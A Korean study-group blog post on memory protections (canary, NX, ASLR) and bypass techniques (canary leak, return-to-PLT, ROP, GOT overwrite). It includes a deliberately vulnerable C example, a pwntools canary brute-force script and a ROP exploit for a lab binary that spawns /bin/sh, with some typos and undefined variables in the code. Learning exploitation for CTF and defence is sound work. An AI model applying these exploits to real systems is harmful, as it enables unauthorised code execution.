EYEN
[빡공팟 4기]9주차 과제: NX-bit, ASLR 및 우회 기법(ROP, Memory Leak)공부하기 본문
[빡공팟 4기]9주차 과제: NX-bit, ASLR 및 우회 기법(ROP, Memory Leak)공부하기
EYEN 2022. 7. 11. 05:00#1 보호기법
-셸 코드를 실행시킬 수 있는 조건과 그에 따른 보호기법
1. 반환 주소를 임의 주소로 덮을 수 있다.(Canary)
2. 버퍼의 주소를 알 수 있었다.-(ASLR)버퍼의 주소를 알기 어렵게 한다.
3. 버퍼가 '실행' 가능했다.-(NX bit)메모리 영역에서 불필요한 실행 권한을 제거하는 보호기법을 추가로 도입해야한다
1) Canary
함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입
함수의 에필로그에서 해당 값의 변조를 확인하는 보호기법
카나리의 위치
buf | \x00 canary | sfp | ret |
카나리 해제해서 컴파일하기
-fno-stack-protector //카나리 해제
카나리가 적용되면 바뀌는 부분
//프롤로그
0x00000000000006b2 <+8>: mov rax,QWORD PTR fs:0x28
0x00000000000006bb <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000000006bf <+21>: xor eax,eax
스택 버퍼와 반환 주소 사이에 임의의 값 삽입
//에필로그
0x00000000000006dc <+50>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000000006e0 <+54>: xor rcx,QWORD PTR fs:0x28
0x00000000000006e9 <+63>: je 0x6f0 <main+70>
0x00000000000006eb <+65>: call 0x570 <__stack_chk_fail@plt>
삽입한 임의의 값이 변조되지 않았는지 확인하고 변조되었으면 __stack_chk_fail 호출되어 닫힘.
2) No-eXecute(NX)
:실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역을 분리하는 보호기법
CPU가 NX를 지원하면 컴파일러 옵션을 통해 바이너리에 NX를 적용할 수 있으며,
NX가 적용된 바이너리는 실행될 때 각 메모리 영역에 필요한 권한만을 부여받는다.
예를 들어 NX가 적용된 바이너리에는 코드 영역에만 실행 권한이 주어지고, NX가 적용되지 않으면 스택, 힙, 데이터 영역에도 실행 권한이 존재한다.
nx보호를 해제하는 컴파일
-zexecstack
3) ASLR(Address Space Layout Randomization)
:바이너리가 실행될 떄마다 스택, 힙, 공유 라이브러리 등을 임의의 주소에 할당하는 보호기법
ASLR은 커널에서 지원하는 보호 기법이다.
이 명령어를 입력하면 0, 1, 또는 2의 값을 보여준다.
$ cat /proc/sys/kernel/randomize_va_space2
-숫자별 적용되는 ASLR과 각각의 메모리 영역
- No ASLR(0): ASLR을 적용하지 않음
- Conservative Randomization(1): 스택, 힙, 라이브러리, vdso 등
- Conservative Randomization + brk(2): (1)의 영역과 brk로 할당한 영역
#2 우회기법
1) canary 우회기법
1. 무차별 대입 (Brute Force)
x64 아키텍처에서는 8바이트의 카나리가 생성되며, x86 아키텍처에서는 4바이트의 카나리가 생성된다.
각각의 카나리에는 NULL 바이트가 포함되어 있으므로, 실제로는 7바이트와 3바이트의 랜덤한 값이 포함된다.
2. TLS 접근
카나리는 TLS에 전역변수로 저장되며, 매 함수마다 이를 참조해서 사용한다. TLS의 주소는 매 실행마다 바뀌지만 만약 실행중에 TLS의 주소를 알 수 있고, 임의 주소에 대한 읽기 또는 쓰기가 가능하다면 TLS에 설정된 카나리 값을 읽거나, 이를 임의의 값으로 조작할 수 있다. 그리고 스택 버퍼 오버플로우를 수행할 때 알아낸 카나리 값 또는 조작한 카나리 값으로 스택 카나리를 덮으면 함수의 에필로그에 있는 카나리 검사를 우회할 수 있다.
3. 카나리 릭(canary leak)
입력받은 문자열이 할당된 메모리보다 더 크면 null byte를 덮어서 출력이 멈추지 않게 되어 카나리 값도 출력된다. 그 카나리 값을 가져오고, ret주소에 원하는 값을 삽입하면서 sfp 밑에 카나리 값을 넣어준다.
예제1 )
// Name: bypass_canary.c
// Compile: gcc -o bypass_canary bypass_canary.c
#include <stdio.h>
#include <unistd.h>
int main() {
char memo[8];
char name[8];
printf("name : ");
read(0, name, 64);
printf("hello %s\n", name);
printf("memo : ");
read(0, memo, 64);
printf("memo %s\n", memo);
return 0;
}
name 변수에 a를 9개 입력해주면 카나리가 leak된다. 카나리의 첫 byte는 null byte이므로 %s의 특성을 이용해 NULL byte까지 덮어버리면 뒤에 7byte가 자동으로 printf("%s")를 통해서 canary leak된다.
그리고 memo변수에 다시 64byte를 입력 받는데 방금 leak했던 카나리 값을 이용해 canary sfp ret을 덮으면 된다.
예제2)
canaryleak
카나리 릭하기
#Canary Leak
def cnry(n):
for i in range(256): #0x100
p.sock = socket(AF_INET, SOCK_STREAM)
p.sock.connect(('127.0.0.1', 1234))
canary=n
canary+=p8(i)
payload=b'A'*0x108
payload+=canary
p.sock.recv(5)
p.sock.send(payload)
byte=p.sock.recv(4)
if byte == b'BYE\x00':
return canary
canary=b''
for i in range(8):
canary=cnry(canary)
print(canary)
.
.
.
payload = b'A'*0x108 + canary + b'A'*0x8
2) Return to PLT(NX bit+ASLR 우회기법)
1.의미
실행권한이 남아있는 코드 영역으로 반환 주소를 덮는 공격 기법
(버퍼에 셸코드를 주입하려고 해도 실행권한이 사라졌기 때문에 실행하기 어려우나 스택 버퍼 오버플로우 취약점으로 return 주소를 덮는 공격은 가능하기 때문)
2. 프로세스에 실행 권한이 있는 메모리 영역
(1) 바이너리의 코드 영역
(2) 바이너리가 참조하는 라이브러리의 코드 영역
3. 공격법
(1) 사전지식
- 리눅스에서 c언어로 작성된 프로그램이 참조하는 libc에는 system, execve 등 프로세스의 실행과 관련된 함수들이 구현되어 있다.
- PLT 와 GOT은 라이브러리 함수의 참조를 위해 사용하는 테이블이다. PLT에는 함수의 주소가 resolve되지 않았을 때, 함수의 주소를 구하고 실행하는 코드가 적혀있다. - ASLR이 걸려있어도 PIE가 적용돼있지 않다면 PLT주소는 고정되므로, 무작위의 주소에 매핑되는 라이브러리의 베이스 주소를 몰라도 라이브러리 함수를 실행할 수있다.
- system(“/bin/sh”)을 호출하는 것은 x86-64의 호출 규약에 따르면 이는 ‘rdi=”/bin/sh” 주소’인 상태에서 system 함수를 호출하는 것과 같다!
(2) 절차
1. "/bin/sh"의 주소 알기
2. system 함수의 PLT주소를 알기
3. system 함수를 호출하기
3. ROP(Return Oriented Programming)
1)의미
리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법
2) 사전지식
- 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, 다른 함수들이 호출될 때 system 함수도 프로세스 메모리에 같이 적재된다.
- 바이너리가 system 함수를 직접 호출하지 않을 때 system 함수가 GOT에는 등록되지 않는다. 그러나 read, puts, printf와 같이 같은 라이브러리에서 호출된 함수들은 GOT에 등록되어 있다. main 함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로, 이들의 GOT를 읽을 수 있다면 해당 라이브러리가 매핑된 영역의 주소를 구할 수 있다.
- libc끼리는 다르지만 같은 libc안에서 두 데이터 사이의 거리(Offset)는 항상 같다. 그러므로 사용하는 libc의 버전을 알 때, libc가 매핑된 영역의 임의 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있다.
-리턴가젯
리턴 가젯은 반환 주소를 덮는 공격의 유연성을 높인다. rdi의 값을 “/bin/sh”의 주소로 설정하고, system 함수를 호출한다. 리턴 가젯을 사용하여 반환 주소와 이후의 버퍼를 다음과 같이 덮으면, pop rdi로 rdi를 “/bin/sh”의 주소로 설정하고, 이어지는 ret으로 system함수를 호출할 수 있다.
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
대부분의 함수는 ret로 종료되므로, 함수들도 리턴 가젯으로 사용될 수 있다.
3) 절차
1.system 함수와 “/bin/sh” 문자열의 주소 알아내기
2.pop rdi; ret 가젯을 활용하여 system(“/bin/sh”)를 호출
4) x64ROP 문제 풀이
x64ROP
from pwn import *
p = process(["./x64ROP","payload"])
e = ELF("./x64ROP")
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
#필요한 주소
pop_rdi=0x400b53
ret=0x4005a6
print_usage=0x400737
read_plt=e.plt['read']
read_got=e.got['read']
pop6ret=0x400b4a
mov3call=0x400b30
bss=0x601260
offset=libc.symbols["read"]-libc.symbols["system"]
libc_offset=read_addr-libc.symbols['read']
system=libc.symbols['system']+libc_offset
MAGIC_ID=0xffe4
FILE_TYPE_RAWTEXT=1
#BOF
payload = p32(0xe4ff)
payload += p32(128)
payload += p32(1)
payload += p32(512)
payload += b'A'*0xc0 #sfp 전까지
payload += b'B'*0x8 #ret 전까지
#print_usage(read_got) read함수의 주소 얻기
payload += p64(pop_rdi) #rdi값을 +0x4에 넣고 거기를 가리키게 함
payload += p64(read_got) #
payload += p64(ret)
payload += p64(print_usage)
#read(0,bss,0x8) read 함수 호출하여 bss에 입력값 할당하기
payload += p64(6ret) #인자 개수
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(read_got) #r12
payload += p64(0) #r13
payload += p64(bss) #r14
payload += p64(0x8) #r15
#read(0,read_got, 0x8) read 함수 출력하여 read_got를 system함수로 GOT Overwrite
payload += b'A'*0x8 #인자 넣을 공간....???
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(read_got) #r12
payload += p64(0) #r13
payload += p64(read_got) #r14
payload += p64(0x8) #r15
payload += p64(3call)
#read("/bin/sh") read함수(지금은 system)를 호출하여 bss영역을 인자로 주기
payload += b'A'*0x8
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(read_got) #r12
payload += p64(bss) #r13
payload += p64(0) #r14
payload += p64(0) #r15
payload += p64(ret)
payload += p(3call)
with open('payload','wb') as f: #payload를 파일로
f.write(payload)
p.recvuntil(
p.send(b"/bin/sh\x00")
p.send(p64(system))
p.recv()
p.interactive()
4. GOT Overwrite
1) 의미
다이나믹 링킹을 할 때 이미 한번 호출한 함수의 주소는 GOT에 적혀있다. 그런데 GOT에 적힌 주소를 검증하지 않고 참조하므로 GOT에 적힌 주소를 변조하는 방법이다.
2) 절차
1. system 함수의 주소를 알아내기
2. system 함수의 주소를 어떤 함수의 GOT에 쓰기
3. 그 함수를 재호출하도록 ROP 체인 구성하기
#3 그 외 배운 점
1. 링크(link):
호출된 함수와 실제 라이브러리의 함수가 연결되는 것 , 심볼과 관련된 정보들을 찾아서 최종 실행파일에 기록하는 것
리눅스에서 C 소스 코드는 전처리, 컴파일, 어셈블 과정을 거쳐 ELF형식을 갖춘 오브젝트 파일(Object file)로 번역된다.
오브젝트 파일: 실행 가능한 형식을 갖추고 있지만, 라이브러리 함수들의 정의가 어디 있는지 알지 못하므로 실행은 불가능하다.
- 동적 링크
동적 라이브러리가 프로세스의 메모리에 매핑된다. 실행중 라이브러리의 함수를 호출하면 매핑된 라이브러리에서 호출할 함수의 주소를 찾고 그 함수를 실행한다.
- 정적 링크
정적 링크를 하면 바이너리에 정적 라이브러리의 모든 함수가 포함된다
static | dynamic |
call 0x410230<puts> | call 0x4003f0<puts@plt> |
2. PLT(Procedure Linkage Table)
:동적 링크된 바이너리에서 함수의 주소를 라이브러리에서 찾을 때 사용되는 테이블
PLT와 GOT는 동적 링크된 바이너리에서 라이브러리 함수의 주소를 찾고, 기록할 때 사용된다.
PLT에서 GOT를 참조하여 실행 흐름을 옮길 때, GOT의 값을 검증하지 않는다는 취약점이 있다.
함수를 resolve한다는 의미: 바이너리가 실행되면 ASLR에 의해 라이브러리가 임의의 주소에 매핑된다. 이 상태에서 라이브러리 함수를 호출하면 함수의 이름을 바탕으로 라이브러리에서 심볼들을 탐색하고 해당 함수의 정의를 발견하면 그 주소로 실행 흐름을 옮기게 된다.
3. 32bit 익스플로잇 코드와 64bit 익스플로잇 코드 차이점
1)32bit
#read(0,read_got,0x4)
payload+=p32(read_plt) #함수 이름
payload+=p32(pppr) #인자개수
payload+=p32(0) #인자 1
payload+=p32(read_got) #인자 2
payload+=p32(0x4) #인자 3
2)64bit
#read(0,read_got,0x8)
payload+=p64(pppr) #인자개수:pop pop pop ret
payload+=p64(0) #인자 1
payload+=p64(read_got) #인자 2
payload+=p64(0x8) #인자 3
payload+=p64(read_plt) #함수 이름
'대외활동 및 팀플 > 빡공팟(P4C) 시스템 해킹 트랙 4기' 카테고리의 다른 글
[빡공팟 4기]7주차 과제: 올드스쿨 취약점, 올드스쿨 공격법 공부하기 (0) | 2022.07.11 |
---|---|
[빡공팟 4기]8주차 과제 Out Of Bound, R/W primitive 공부하기 (0) | 2022.07.11 |
[빡공팟 4기] 12주차: 실제 취약점 케이스 스터디 (0) | 2022.07.10 |
[빡공팟 4기] 11주차: UAF, Double Free Bug, Type Confusion 취약점 및 공격 기법 (How2heap, Heap (0) | 2022.07.03 |
[빡공팟 4기] 10주차 : PIE, RELRO 및 우회 방법 공부하기 (0) | 2022.06.26 |